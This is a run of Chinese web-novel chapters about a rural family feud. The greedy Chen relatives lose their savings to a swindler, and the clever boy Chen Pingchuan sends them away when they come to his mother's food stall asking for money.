罗氏是个闲不住的人,就算陈平川每个月都给她不少钱,但她还是在自家小院门口摆了个小食摊,卖些亲手做的槐花糕、绿豆饼。 PC站点如章节文字不全请用手机访问 因用料实在,味道又好,街坊邻居都爱来光顾,生意竟也红红火火,每日都能赚上几十文铜板补贴家用,让她心里踏实极了。 “平川,来,尝尝娘新做的枣泥糕,还热乎着呢。”罗氏端着一小碟刚出锅的点心,送到儿子面前。 陈平川捏起一块,咬了一口,甜糯可口,他用力点点头:“嗯,好吃!娘的手艺越来越好了。” 不知为何,他的脑海里忽然想起了那个任性贪吃的大小姐张静姝。 “嗯,她一定爱吃……” 这时,陈平玉蹦蹦跳跳地从女学回来,放下书袋,便兴奋地跑到罗氏跟前,摊开小手,“娘,你看!先生今天夸我字写得有进步了!” 罗氏看着女儿那双亮晶晶、充满希望的眼睛,心中像是被温水熨过一般,熨帖无比,“我们平玉真棒!以后肯定比你哥还有出息!” 陈仲和在一旁看着这母慈子孝的一幕,脸上满是憨厚而自豪的笑容。 与此同时,桃花村。 离福运来刘掌柜约定支付红利的日子,只剩下最后两三天了。 陈老太太这几日更是激动得夜不能寐,天不亮就醒,在院子里拄着拐杖来回踱步,嘴里念念有词,全是关于银子的盘算。 陈仲文和陈仲武两兄弟,也几乎天天都聚在老太太的屋里,商量着拿到钱后的宏伟蓝图。 “娘,等拿到钱,咱先把屋顶那漏雨的瓦给换了!”陈仲武搓着手,一脸兴奋。 陈仲文则摇着他那把破扇子,摆出一副秀才的派头,不屑道:“目光短浅!换瓦乃是小事,依为兄看,当务之急,是在庐州府也置办一处宅子!往后我也好在府城安心读书,说不定还能结交些达官贵人,为我陈家光耀门楣!” “对对对!还是老大有远见!有学问的人想的就是不一样!咱们也去城里住!”陈老太太听得心花怒放,拐杖在地上敲得“咚咚”响。 她早就想去城里享清福了。 刘氏和王氏在一旁听着,眼睛都快放出光来,仿佛那白花花的银子已经堆在了眼前,唾手可得。 刘氏按捺不住,直接问陈老太太:“娘,那刘掌柜当初说的可是十五吧?咱们可得早点动身,去晚了人家关门了可怎办!” “是啊娘,早去早安心!”王氏也连声附和。 陈老太太被说得心头火热,做出决定:“不等了!明日就去!咱们早些去庐州府城门口等着,开门就去领钱!” PC站点如章节文字不全请用手机访问 第78章 竹篮打水一场空,恶人自有恶人磨 卯时的天光,刚刚拂过桃花村的屋檐。 陈老太太已经爬起来,比鸡起得还早,一双老眼里闪烁着精光。 她被长子陈仲文和三子陈仲武一左一右地搀扶着,那腰杆挺得笔直,下巴微微扬起,踏出了即将成为人上人的气势。 跟在后头的刘氏和王氏,也是盛装打扮。刘氏那件压箱底的绸衫,虽被水洗得有些发白,但熨烫得一丝褶皱也无。 王氏更是破天荒地在脸上抹了层薄粉,头上那根平日里舍不得戴的银钗,在熹微的晨光下晃动着贪婪的影子。 一行人,气宇轩昂,仿佛不是去庐州府,而是去巡视自家的江山。 “娘,您且慢行,莫要急坏了身子。”陈仲文扶着老太太,声音里压抑不住的亢奋,“听说那福运来商号就在东街,乃是庐州府最繁华之地,想来错不了。” 王氏的脸上笑成了一朵菊花,谄媚地接口:“可不是嘛!刘掌柜亲口说的,东街最显眼的位置!等拿了这头一笔红利,咱们就去看看宅子,也让那些村里的土包子开开眼!” 他们幻想中的金山银山,催着脚下的步子,一路疾行到了庐州府东街。 可眼前的一幕,却像一盆冰水,从头浇到脚。 他们寻到的那处铺面,大门上挂着一把锈迹斑斑的铜锁,门板上木漆剥落,露出里面灰败的木茬。 一张被雨水浸得发黄起皱的纸,用米糊歪歪扭扭地贴在门上,墨迹晕染开来,勉强能认出四个大字:“旺铺招租”。 风一吹,那纸“哗啦啦”地响,像是在无情地嘲笑。 陈老太太脸上的笑容,瞬间凝固、龟裂,最后碎成了一地灰尘。 “不可能……定是咱们寻错了地方!”陈仲文不愿相信,三步并作两步冲上前,抡起拳头“砰砰砰”地砸门,那力道仿佛要将门板拆了。 “开门!福运来的刘掌柜!开门取钱了!” 回答他的,只有空洞的回响和街对面店铺伙计投来的看傻子似的目光。 王氏心里“咯噔”一下,不祥的预感升上心头。她急忙拉住一个挑着菜担路过的老伯,问道:“老伯,劳驾问一嘴,这家‘福运来’商号,您可见过?怎的……关着门?” 老伯停下脚,用毛巾擦了把汗,浑浊的眼睛打量了他们几眼,摇了摇头:“福运来?没听过这名号。这铺子啊,空了好几个月喽,前儿个才听房东说,要重新租出去呢!” 这话,如同一道惊雷,直直劈在陈家每个人的天灵盖上。 陈老太太只觉得眼前一黑,整个世界都在天旋地转,身子软绵绵地晃了晃。 “我的钱……我的银子啊!”她猛地回过神来,那一声凄厉的嘶吼仿佛是从胸腔里撕扯出来的,随即一屁股跌坐在冰凉的石板地上,双手疯狂地捶打着自己的胸口,嚎啕大哭,“天杀的骗子啊!我的棺材本啊!我的老天爷啊!” 刘氏和王氏也彻底傻了眼,腿一软,双双瘫倒在地,妆容哭花,头发散乱,跟着尖叫起来:“挨千刀的刘掌柜!你不得好死!还我家的钱来!” 陈仲文两兄弟也呆若木鸡,好像魂魄被抽走了一样。 陈家人凄厉的哭声、骂声,在繁华的东街扩散开来,引得行人纷纷驻足,对着这群撒泼打滚的人指指点点,议论纷纷。 绝望之中,陈老太太猛地抬起头,一双布满血丝的眼睛死死瞪着陈仲武,那眼神像是要活剥了他。 “都是你!你这个没用的孽障!把骗子招来!是你!是你把老娘的棺材本都赔进去了!”她伸出干枯的手指,几乎要抓瞎她儿子的眼睛! 陈仲武哭丧着脸,吓得连连后退:“娘,这……这不关我的事啊!我哪知道他是骗子!当初……当初大哥不也点头说此计甚妙吗?” 陈仲文一听火气直冲脑门,一把甩开袖子,厉声喝道:“我点头?还不是你和弟妹巧舌如簧,说得天花乱坠,将娘哄得失了心智!你才是罪魁祸首!” “我呸!陈仲文你少在这装圣人!”王氏像只被踩了尾巴的猫,从地上弹起来,头发散乱,状若疯癫,“当初是谁听见月息一分,眼睛都绿了?是谁天天盘算着拿了钱去府城买大宅子,再纳一房小妾?现在倒把责任推得一干二净!” PC站点如章节文字不全请用手机访问 刘氏也顾不上什么大家闺秀的体面了,尖叫着扑上去就和王氏撕扯起来:“你个扫把星!丧门神!都是你撺掇的!不然我家哪会遭此横祸!” “你才是搅家精!吃里扒外的东西!” 场面顿时一片混乱,哭声、骂声、撕打声混作一团。女人的尖叫,男人的怒吼,老太太的哀嚎,在东街上演了一出丢人现眼的滑稽戏。 旁边有个好心的路人看不下去,提醒了一句:“别打了,赶紧去报官啊!兴许还能追回来!” 陈仲文如梦初醒,也顾不得脸上的抓痕,一把拉起还在发愣的陈仲武,两人衣衫不整,跌跌撞撞地就往县衙跑去。 到了县衙,他们哆哆嗦嗦地跪在堂下,将事情的经过说了一遍。 堂上老爷听完,只是懒洋洋地打了个哈欠,眼皮都没抬一下。“又是这种江湖骗子,卷了钱早就跑到天边去了,上哪儿给你们找?你们连他真名实姓、籍贯何处都不知道,就凭这张破纸?” 老爷指了指他们手里那张所谓的“存单”,嘴角挂着一抹嗤笑,“这纸上的印泥都搓得掉色,一看就是萝卜刻的章,本官也爱莫能助,回去吧,自认倒霉。” 几百两白花花的银子,就这么打了水漂,连个响儿都没听到。 那可是他们刮地三尺,变卖二房所有家当换来的钱,还有大房三房多年积攒的血汗,更有陈老太太压在箱底的棺材本! 一夜之间,所有对未来的美好幻想,尽数化为乌有的泡沫。 陈家人如同被抽了魂的行尸走肉,失魂落魄地往桃花村走。来时的路仿佛铺着金子,每一步都轻快有力。 回去的路却像是通往黄泉,双腿灌了铅似的沉重。 日头偏西,橘红色的光将他们的影子拉得老长,更显凄凉。 碰巧,他们迎面竟遇上了推着一辆独轮小车,准备去集市买些吃食的罗氏和平玉。 罗氏瞧见他们一行人双目无神、衣衫不整的样子,脸上露出惊讶之色。 “哎呀,娘,大哥,三弟,你们这是怎么了?”她快步迎上前,语气里满是关切,“不是去庐州府取红利吗?这……这是遇上劫匪了?怎么一个个都这副魂不守舍的模样?” 陈老太太等人嘴唇哆嗦着,一个字也说不出来。 跟在罗氏身后的陈平川,从他娘的腿边探出个小脑袋,眨巴着一双乌溜溜、清澈见底的大眼睛,脸上挂着天真烂漫的笑容。 “奶奶,大伯,三叔,你们取到好多好多银子了吗?” 他歪着头,声音清脆又响亮,像山泉叮咚。 见众人不答,他又往前凑了凑,仰着小脸,用一种充满羡慕和崇拜的语气继续说道: “是不是那个福运来的刘掌柜太客气,给的利息太多太多,像小山一样高,你们都高兴得走不动路啦?” 这话,每一个字都像是一根烧红的钢针,扎进了陈老太太的心窝。 她本就气血攻心,又急又怒,听了这“天真”的问话,只觉得喉头一甜,一股腥气直冲上来,眼前猛地一黑,世界彻底失去了声音和颜色。 “娘!” “老太太!” 陈仲文和陈仲武惊呼一声,手忙脚乱地去扶,陈老太太那干瘦的身体却已像一截朽木,直挺挺地向后倒了下去,人事不省。 PC站点如章节文字不全请用手机访问 第79章 活该!我家钱给乞丐也不给畜生! 陈家众人被骗子骗得倾家荡产的消息,一夜之间传遍整个桃花村。 午后,三五成群的妇人,或倚着门框,或坐在树下,嘴皮子翻飞,将陈家的丑事当成了饭后谈资。 “该!真是老天爷睁眼了!”张屠户的婆娘一拍大腿,唾沫星子溅得老远,“想想当初他们是怎么对二房的?赶尽杀绝啊!连根针都不给留,现在好了吧?自个儿的家底让人家连锅端了!” “谁说不是呢!”李瓦匠的媳妇嗑着瓜子,眼神里满是幸灾乐祸,“我可都听说了,那会儿平川娃儿卖身换来的救命钱,他们都想昧下!心都黑透了,肺管子都烂了的玩意儿!” “这就叫贪心不足蛇吞象,撑死活该!恶有恶报,时候到了!” …… 此刻的陈家老宅,早已愁云惨雾,死气沉沉。 那点家底被骗个精光,田地也卖了,整个宅子空落落的,像是被掏空了内脏的躯壳。 日子一晃又过了半月,陈家老宅是真的揭不开锅了。陈仲文思来想去,把最后一点读书人的脸皮踩在脚下,厚着脸皮摸到了庐州府,找到了陈平川一家赁的小院。 “咚,咚咚。”他局促不安地敲了敲院门。 门“吱呀”一声开了,开门的正是罗氏。 她脸上还带着招呼客人的笑意,可在看清来人的一瞬间,那笑容瞬间凝固,冷得像腊月的冰。 陈仲文穿着件洗得发白的旧长衫,满脸的憔悴与卑微。他看见罗氏,脸上硬生生挤出一个比哭还难看的笑容:“二……二弟妹……” 罗氏倚着门框,双手抱胸,像一尊冰冷的门神,冷冷地看着他。“有事?” 陈仲文嘿嘿地搓着手:“那个……二弟妹,家里被骗光了钱,现在实在是……周转不开了。你看,仲和……仲和在家吗?我想找他……借几个钱,应应急……” “借钱?”罗氏嘴角勾起一抹弧度,她那双明亮的眼睛,此刻像刀子一样,从头到脚将陈仲文凌迟了一遍,语气冰冷如霜:“大哥,我没记错的话,我们早已分家,立了文书,再无瓜葛。当初你们领着人,像强盗一样冲进我们屋里,连我女儿头上的一根红头绳都要搜刮干净的时候,可曾想过我们一家老小如何过活?” 陈仲文被这番话噎得张口结舌,一个字也吐不出来:“我……我……” “你什么你!”罗氏声调陡然拔高,积压了多年的怨气如火山般喷发,“当初为了供你读书,逼着我儿子卖身,抢我女儿的救命钱时,可曾有过半分手软?如今家败了,钱没了,倒有脸找到我这儿来摇尾乞怜!” 她猛地伸手指着大门外,厉声喝道:“请回吧!我们家,就是把钱扔给门口的乞丐,也绝不会有一文钱借给你们这些没心肝的畜生!” “砰!” 院门被重重甩上,陈仲文碰了一鼻子灰,失魂落魄地回了桃花村。 陈老太太听到这个消息,又气又急,竟再次气晕过去。 众人急忙抢救,陈老太太悠悠转醒,开始用嘶哑的嗓子哭天抢地。 “我苦啊!我这是造了什么天杀的孽啊!”眼泪鼻涕糊了她一脸的褶子,让她看上去像个风干的苦瓜。 哭累了,她又转过头,浑浊的眼睛死死盯着两个儿子,怨毒地骂道:“没出息的东西!两个饭桶!都是你们!当初要是听我的,把棺材本都投进去,兴许……兴许还能翻本!” 陈仲文耷拉着脑袋,一身半旧的长衫皱巴巴的,昔日秀才的高傲早已荡然无存,只剩下落魄。 他蠕动着嘴唇,小声嘟囔:“娘,当初……当初您也是点了头的……” “我还点头让你去死呢!”陈老太太一口气没提上来,喉咙里发出咳嗽声,整个人剧烈地颤抖起来。 三儿媳王氏靠在门边,冷眼看着这一幕,用只有自己能听见的声音嘀咕:“这事本来就怪大房一家……” “你说什么!”刘氏的耳朵比针还尖,她猛地回头,一双眼睛恶毒的射向王氏,“老三家的,当初可是你们家撺掇娘投钱!” PC站点如章节文字不全请用手机访问 王氏也不是省油的灯,当即叉起腰,冷笑道:“大嫂这话说的,倒像是把你们大房摘得干干净净!我家老三再不济,也比某些人强,读了半辈子圣贤书,眼珠子被狗屎糊了,连个跑江湖的骗子都瞧不出来!” “你!”刘氏气得浑身发抖,平日里拾掇得一丝不苟的发髻也散乱了几分,那仅存的“秀才夫人”的气质,荡然无存。 陈仲武在一旁急得满头大汗,伸手去拉王氏的衣袖,压低声音:“少说两句!还嫌不够乱吗!” 王氏一把甩开他的手,声音反而更高了:“我说错了吗?银子没了,家也快败了,难道不该找个说法?我看啊,这事就是二房那一家子在背后捣的鬼!” 这话一下子让屋子里的人都安静下来。 刘氏压下情绪,与王氏对视一眼,两个斗得你死我活的女人,此刻竟从对方眼中看到了一拍即合的歹毒。 夜深了,一豆如鬼火的油灯下,刘氏和王氏凑在一起,影子在墙上被拉扯得张牙舞爪。 “弟妹,你当真觉得……这事儿是二房的手笔?”刘氏端着架子,声音却有些发虚。 王氏撇了撇嘴,眼中是藏不住的嫉妒与怨毒:“不是他们还能有谁?你瞧瞧,咱们家前脚刚出事,他们后脚就在庐州府里享清福!我可打听了,那罗氏摆的小吃摊子红火得很,陈平川那小兔崽子的画册子,更是卖疯了,银子赚得跟流水似的!” 她咬牙切齿地说:“咱们在这儿喝西北风,他们在那儿吃香喝辣,凭什么!当初从老宅刮走的那些东西,都该连本带利地给咱们吐出来!” 刘氏的心脏重重一跳。是啊,二房一家凭什么过好日子? 她牙关紧咬:“那……我们该怎么办?” 王氏凑得更近了些,声音压低:“大嫂,你想啊,老二家还能真眼睁睁看着咱们这两房人饿死不成?罗氏泼辣不假,可她要是敢见死不救,大家的唾沫星子都能淹死她!更何况,平川那小子不是要考功名吗?为了他自己的前途,他也得帮忙!” “万一……他们不给钱呢?” 刘氏有些担忧,王氏冷笑:“那我们就像冤魂一样天天缠着他们!让他们不得安生!” …… 与此同时,庐州府,陈平川一家赁的小院里,却是另一番截然不同的光景。 院子里飘着骨汤的浓香,罗氏的小吃摊生意兴隆,她脸上的笑容比院里的石榴花开得还灿烂。陈仲和因着手脚勤快又老实,得了管事的夸奖,工钱也涨了些。 窗下,五岁的陈平玉坐在小凳子上,小手握着毛笔,一笔一划地在红纸上描着字,嘴里还念念有词地背着《三字经》。 陈平川捧着一本刚校对完的《西游记》第三卷初稿,罗氏端着一碗冰镇绿豆汤进来,见他额角有汗,便心疼地用袖子给他擦了擦。 “平川,我听人说……老家那边出事了。”罗氏坐在一边,看向儿子:“这事你怎么看?” 陈仲和也走进来,夫妻两人现在已经把陈平川当成了主心骨,什么事情都和他商量。 陈平川放下书稿,接过那碗清甜的绿豆汤,喝了一口,清凉的甜意滑入喉咙,他才淡淡地开口:“嗯,听说了。” 他抬起头,迎上爹娘忧心忡忡的目光,微笑道:“爹,娘,这世上的事,就叫‘福祸无门,惟人自召’。若非他们心中被贪婪的野狗追着跑,又岂会一头栽进猎人的陷阱里?” 陈仲和重重地叹了口气,这个老实巴交的汉子,对自己的亲人,终究是说不出什么狠话。 罗氏却很开心,这才是他儿子,恩怨分明! PC站点如章节文字不全请用手机访问 第80章 极品亲戚登门,恶人先告状 天光未亮,庐州府的街巷仍笼罩在清冷的薄雾之中。 罗氏的小吃摊子却早已是热气蒸腾,一口大锅里,雪白的豆腐脑咕嘟咕嘟地冒着热气,浓郁的豆香与辛辣的油泼辣子香气交织在一起,成了这条街最早醒来的味道。 几张简陋的木桌椅被擦拭得一尘不染,在晨曦微光下泛着温润的光泽。 “罗家妹子,老规矩,一碗豆腐脑,多放辣子多放香菜!”一个在码头做工的汉子,敞着怀,中气十足地喊道,声音在寂静的清晨里显得格外响亮。 罗氏系着围裙,手脚麻利得像穿花的蝴蝶,她扬声应道:“好嘞!张大哥您稍坐,马上就来!” 她脸上带着笑意,这样的忙碌与踏实,是过去在陈家老宅做牛做马时从未有过的。 然而,这份宁静很快被两道不速之客的身影撕得粉碎。 不知何时,刘氏和王氏已经站在了摊前。 两人的模样着实狼狈,刘氏平日里梳得一丝不苟的发髻此刻歪歪斜斜,几缕乱发黏在憔悴的脸颊上;王氏更是眼圈发黑,眼袋浮肿,仿佛一夜未眠。她们身上那件本还算体面的衣裳,经过长途跋涉,已是褶皱不堪,沾染着尘土。 她们一言不发,带着一股怨气,径直走到一张空桌旁,“扑通”一声,重重坐下。紧接着,爆发出两道鬼哭一般的凄厉哭嚎。 “哎哟喂!我的老天爷啊!这日子是没法过了啊!”王氏率先开腔,她一边拍着自己的大腿,一边干嚎,那嗓音刺得人耳膜生疼。 刘氏则更“讲究”些,她没有撒泼打滚,只是用袖子捂住脸,肩膀剧烈地一抽一抽,压抑的呜咽声断断续续传出:“老天爷啊……我们这是造了什么孽,要受这般苦楚啊!婆婆病得都下不来床了……” 这突如其来的哭丧阵仗,瞬间浇灭了小摊上热火朝天的气氛。食客们纷纷停下筷子,惊愕地侧目望来,窃窃私语。 王氏见成功吸引了所有人的目光,哭声更大了,调子也拔高了八度,配合着血泪控诉:“我们老宅都快揭不开锅了,老太太病得人事不省,他们一家倒好,在城里做生意,吃香的喝辣的,心都让狗吃了啊!” 她一把鼻涕一把泪,枯瘦的手指直直指向忙碌的罗氏:“当初分家,就没分匀!净身出户的其实是我们!现在我们遭了难,他们就躲得远远的,这是要眼睁睁逼死我们啊!我看,就是你们二房发达了,克了我们老宅的风水!” 刘氏在这时也抬起头,露出一张哭脸,眼神凄楚地望着罗氏和闻声出来的陈仲和:“弟妹,二弟……看在娘快不行的份上,看在咱们好歹是一家人的份上,你们就行行好,发发慈悲,拿点银子出来,救救娘的命吧!” 她演技不错,听起来比王氏的干嚎多了几分真切,周围一些心软的食客已经面露不忍,显然是被她那番“救母”的孝心之言勾起了几分同情。 罗氏气得脸都白了,胸口剧烈起伏,她手里的勺子捏得咯咯作响,正要上前理论,却被身旁的陈仲和一把拉住。 陈仲和这个老实人,哪里见过这等当众撒泼的阵仗,额头上急得全是细密的汗珠。 他上前一步,对着刘氏和王氏拱了拱手,声音里带着恳求和无奈:“大嫂,三弟妹,有话……有话咱们进屋去好好说,别在这儿……影响生意……” “好好说?”王氏眼睛一瞪,声音又拔高了一些,“我们都快饿死了,还怎么好好说!陈仲和,你这个没良心的东西!你忘了当初是谁把你养大的吗?你爹的尸骨都还没寒透啊!” 这顶不孝的大帽子扣下来,压得陈仲和满脸涨红,嘴唇哆嗦着,期期艾艾地一个字也说不出来。 就在这时,一个清脆的童声响起。 “娘,我回来了。” 挎着小布包的陈平川从街角拐了过来。 他一眼就看见了摊前的混乱,以及那两个熟悉到令人厌恶的身影。 他脚步未停,只是那双清澈的眼睛里,掠过一丝冰冷。 他默不作声地走到自家摊位旁,目光先是在哭天抢地的刘氏和王氏身上停留了一瞬,又不动声色地扫过周围议论纷纷的食客,将所有人的表情尽收眼底。 紧接着,陈平玉也蹦蹦跳跳地从屋里出来,她手里还捏着半块晶莹的麦芽糖,正舔得开心。 小姑娘看见两位伯母婶娘哭得那般凄惨,好奇地歪着小脑袋,大眼睛忽闪忽闪地问:“大伯母,三婶娘,你们怎么哭了呀?是不是……是不是肚子饿了?” PC站点如章节文字不全请用手机访问 童言无忌,两人的哭声戛然而止,脸上只剩下尴尬。 因为真让陈平玉说对了,两人从昨晚到现在,什么都没吃,肚子早就饿得咕咕叫。 罗氏猛地甩开陈仲和的手,上前一步,指着刘氏和王氏的鼻子,怒喷道:“你们恶人先告状!当初搜刮我们家,把我闺女头上戴了三年的红头绳都给扯下来的时候,你们怎么不说?把我们一家老小扫地出门,连口破锅都不留的时候,你们怎么不说?现在知道难了,来找我们?我告诉你们,活该!这就是报应!” “你……你血口喷人!”刘氏气急败坏,苦情人设维持不住了。 “我们怎么就活该了?你们二房就是见不得我们好!”王氏也从地上跳了起来,叉着腰,准备开骂。 眼看一场更激烈的骂战就要爆发,很多食客已经摇头要离开,这早饭没法吃了。 “娘,”陈平川轻轻拉了拉罗氏的衣袖,声音平静,“别为她们气坏了身子。跟她们吵是没用的,我有法子。” 罗氏低头,对上儿子那双笃定沉静的眸子,心里的滔天怒火竟奇迹般地压下去了几分。 陈平川这才转向刘氏和王氏,小脸上挂着孩子气的认真和同情:“大伯母,三婶娘,你们先别哭了。我爹娘心善,看你们这样子,心里也难受。” 他顿了顿,语气显得十分诚恳,仿佛真的在为她们着想:“只是我们家也是刚在城里立足,手里实在没什么积蓄。但大家毕竟是血脉相连的亲戚,总不能真眼睁睁看着你们饿死。” 刘氏和王氏一听这话,以为事情有了转机,立刻收了哭相,眼中迸发出贪婪而期待的光芒,热切地看向陈平川,活像两只看到了肉骨头的饿狼。 PC站点如章节文字不全请用手机访问 第81章 智退恶妇,口碑爆棚,双赢! 陈平川清了清嗓子,稚嫩的声音不大,却清晰地传遍了小摊周围每一个人的耳朵里:“这样吧,我们家这小吃摊正好缺人手。大伯母平日里最是爱干净,看着也细心,就帮忙扫扫地、擦擦桌子。三婶娘瞧着手脚也还利索,就帮忙到后头洗碗洗菜。” 他像个小大人一样,认真地掰着手指头,一脸天真地继续说道:“工钱呢,我们家小本生意,暂时给不起。但是,包吃包住!每天三顿管饱,晚上就在后院给你们搭个铺。每个月,我再让我爹娘给你们一人几文钱的零花,买点针头线脑什么的。总好过在村里挨饿受冻,你们看怎么样?” 此言一出,全场寂静。 不仅刘氏和王氏,连罗氏和陈仲和都愣住了。他们确实忙不过来,也动过雇人的心思,可一想到那份工钱就舍不得。现在儿子这个主意,简直是神来之笔! 而刘氏和王氏是来讹钱的,是来当祖宗的,哪里是来做下人干活的? 刘氏的脸瞬间涨成了猪肝色,她那双平日里保养得宜、连重物都少拿的手指,此刻在袖子里微微颤抖。 王氏更是直接炸了毛,张嘴就想破口大骂“小兔崽子你算计老娘!”,可话到嘴边,一对上周围食客们的目光时,又硬生生把话给咽了回去。 食客们已经开始交头接耳,声音不大不小,正好能让她们听见: “哎,这孩子说得在理啊,包吃包住还给钱花,这可是仁至义尽了。” “是啊,真要是活不下去了,有份活计,有口热饭吃,总比当乞丐强吧?” “看她们怎么选了,这要是不答应,那可真就是存心来闹事讹钱的了,不是什么正经亲戚。” 舆论的风向彻底变了。刘氏和王氏被架在火上烤,骑虎难下。 答应吧,让她们去干那种又脏又累的粗活,简直比杀了她们还难受! 不答应吧,岂不就当众坐实了她们就是来无理取闹、讹诈钱财的泼妇?那以后还有什么脸面? 最终,两人在众目睽睽之下,脸上的表情几番变换,最后咬着后槽牙,几乎是从牙缝里挤出几个字:“……好。” 于是,接下来的几天,对刘氏和王氏而言,成了她们人生中最黑暗的噩梦。 王氏被安排洗碗。那油腻腻的碗碟堆得像座小山,散发着食物残渣的馊味。 她何曾干过这个?不是嫌水凉,就是嫌油腻,洗得叮当乱响,一天下来,不是打烂了两个碗,就是洗不干净被罗氏板着脸数落一顿,气得她直翻白眼。 刘氏负责擦桌扫地。她平日里最是爱惜自己的衣裳和双手,如今却要弯着腰,用满是油污的抹布一遍遍擦拭桌子,一天下来,腰酸背痛得直不起来。她看着自己沾满油污灰尘的衣角和粗糙起皮的双手,简直想一头撞死。 罗氏可不会惯着她们。 她就像个严厉的监工,时刻盯着,稍有懈怠,便是一顿不轻不重的敲打: “三弟妹,那碗边上的油没洗干净,拿回去重洗!” “大嫂,桌子腿底下还有灰呢,客人看着像什么样子!” 两人叫苦不迭,白天累得像狗,晚上回到后院临时搭的铺盖上,浑身骨头都像是散了架,连饭都吃不下,只剩下互相埋怨的力气。 终于,在第五天的深夜,当月亮都躲进云层,陈平川一家都睡下后,两人再也撑不住了。 她们趁着夜深人静,连声招呼都没打,胡乱卷起自己那几件破旧衣裳,像两个贼,灰溜溜地逃离庐州府,连夜跑回桃花村。 第二天一早,罗氏看着后院空荡荡的铺盖,先是一愣,随即明白了过来。 她忍不住“噗嗤”一声笑了出来,那笑声起初还压抑着,后来便越来越大,越笑越畅快,最后笑得前仰后合,眼角都沁出了泪花。 那是解脱的泪,是扬眉吐气的泪。 “我儿,”她走到正在院里晨读的陈平川身边,抱着他的肩膀,满脸的赞赏与解气,“还是你厉害!随随便便,就把这两尊瘟神给请走了!” PC站点如章节文字不全请用手机访问 陈平川从书卷中抬起头,只是微微一笑,那笑容淡然如水:“娘,我去温书了,过几日还有课考。” 这场风波过后,一切重归平静。 罗氏的小吃摊生意不仅没受影响,反而更好了。街坊邻里都亲眼见证了这场闹剧,都说陈家二房是真正心善厚道的人家,对那样的亲戚都能伸出援手,这样的人家做生意,肯定实在! 陈平川一家,用一种谁也想不到的方式,摆脱了陈家人的纠缠,还赢得口碑,可谓是双赢! 光阴荏苒,倏忽三载。 庐州府,陈家小院。 临窗而立的少年身形挺拔,如一竿新生的翠竹,褪去了三年前的稚嫩,眉宇间沉淀下与年龄不符的稳重英气。 十二岁的陈平川,目光深邃,早已不是当年那个田埂上赤脚放牛的农家娃。 他轻轻合上手中泛黄的书卷,望向窗外。 这三年,方先生几乎是倾囊相授,而他自己更是如饥似渴,学问早已今非昔比,只待即将到来的乡试,一朝腾飞。 “平川大哥!平川大哥!” 院门被“砰”地一声推开,一道咋咋呼呼的身影旋风般冲了进来,打破了清晨的宁静。 张金宝如今也是个十三岁的少年郎,个头窜得老高,身板结实,唯独那股子顽劣跳脱的性子,半分未改。 他一屁股墩在石凳上,桌面被震得微微一颤。抓起桌上的凉茶壶,也不倒杯,直接对着壶嘴“咕咚咕咚”灌了几大口,抹了抹嘴,长吁一口气:“憋死我了!我爹又逼我去看那些鬼画符似的账本,看得我头晕眼花!还是你这里清净,读书多好,不用闻那铜臭味。” 这些年,在陈平川帮助下,张金宝总算磕磕绊绊地混了个童生功名。 张盛财见他实在不是读书的料,便彻底断了让他走科举路的念想,转而手把手教他打理生意,预备着将来继承家业。 陈平川瞥了他一眼,唇角勾起一抹似笑非笑的弧度:“老爷让你学着掌管生意,是为你好。不然将来偌大的家业,谁来管理?” 张金宝最怵陈平川这副模样,挠了挠头,嘿嘿傻笑:“我知道,我知道。哎,不说这个。平川大哥,过几日就是乡试了,你……有把握吗?” “尽人事,听天命。”陈平川语气平淡,可那双漆黑的眸子里,却闪烁着自信光芒,那“天命”尽在他掌握之中! 话音刚落,一道清脆如黄莺出谷的声音自门口传来,带着一丝少女特有的娇嗔:“金宝哥哥,你又来打扰平川哥的清净了?” PC站点如章节文字不全请用手机访问 第82章 别叫我小姐,叫静姝! 张静姝提着一个精巧的食盒,步履轻盈地走进小院。 如今九岁的小姑娘,早已出落得明眸皓齿,容颜愈发娇俏。 一身软烟罗的粉色衣裙,衬得她肌肤欺霜赛雪,宛若一朵含苞待放的芙蓉。那份与生俱来的腹黑傲娇丝毫未减,只是那双水灵灵的大眼睛,在掠过陈平川时,总会不自觉地漾开一圈温柔的涟漪,藏着几分依赖与情愫。 她无视咋咋呼呼的兄长,径直走到陈平川面前,将食盒轻轻放在石桌上:“这是我让厨房新做的小食,你温书辛苦,尝尝看。” 也不等陈平川回应,她便伸出纤纤玉指,自顾自地打开盒盖,将几块雪白细腻、点缀着嫣红花瓣的糕点摆在青瓷碟中,煞是好看。 这三年来,张静姝已成了陈家小院的常客,时常寻着各种由头过来。或是送些时令点心,或是捧着书卷来“请教”功课,那点少女心事,如春日溪水,清澈见底,院里的人谁看不明白。 陈仲和和罗氏对张静姝那是喜欢到了心里,若是能做了他们的儿媳妇,做梦都要笑醒。 不过他们也不敢奢望,毕竟,张静姝是富家千金,他们只是平头小户,高攀不起。 陈平川对这位张大小姐的频频“骚扰”颇有些无奈。 他眼下正值学业紧要关头,实在无暇分心他顾。可念及张盛财这几年的照拂与张金宝的兄弟情分,又不好表现得太过冷淡疏离,只能不咸不淡地应付着。 见他只是嗯了一声,便继续低头看着书,对眼前的糕点视若无睹,张静姝的小嘴微微嘟了起来,声音里带上了委屈:“平川哥哥,你怎么不吃呀?是……是不好吃吗?” 那软糯的尾音,像羽毛轻轻搔在心上,让陈平川有些招架不住。 他抬起头,放下书卷,语气温和了些:“多谢小姐美意,只是我刚用过早饭,尚不觉饿。” “小姐”二字一出,张静姝脸上的光彩瞬间黯淡了下去,仿佛被霜打了一般。 她贝齿轻咬着下唇,哼了一声,扭过头去,留给陈平川一个气鼓鼓的后脑勺。 一旁的张金宝看得直乐,却慑于妹妹的威严,大气也不敢出。 这时,罗氏端着一盆刚洗好的青菜从屋里出来,一眼就瞧见了这情形,连忙笑着打圆场:“哎呀,是静姝丫头来了,快进屋坐。别理平川这孩子,一整天就知道看书,整个一木头脑袋,哪里懂得怜香惜玉。” 罗氏的豆腐摊早已升级成了“陈记小饭馆”。在陈平川时不时的“点拨”下,推出了几道诸如麻婆豆腐、鱼香肉丝之类的特色菜,改良了家常菜的口味,生意做得红红火火,在庐州府南城这一带已是小有名气。 陈仲和如今也不去码头做苦力了,就在店里帮忙招呼客人,迎来送往,他那憨厚踏实的笑容,反而成了店里的活招牌,深得许多熟客喜爱。 陈平玉也已是八岁的小姑娘,出落得亭亭玉立,在庐州府的女学念书,一手娟秀小楷写得极好,平日里还能帮着罗氏算算账,是罗氏最贴心的小棉袄。 至于桃花村的老陈家,自从三年前刘氏和王氏那次灰溜溜地从庐州府逃回去后,便彻底败落了。 听说陈老太太一病不起,整日躺在床上呻吟。 大房陈仲文和三房陈仲武为着老娘的汤药费,为着仅剩的那点家产,整日里吵得鸡飞狗跳。 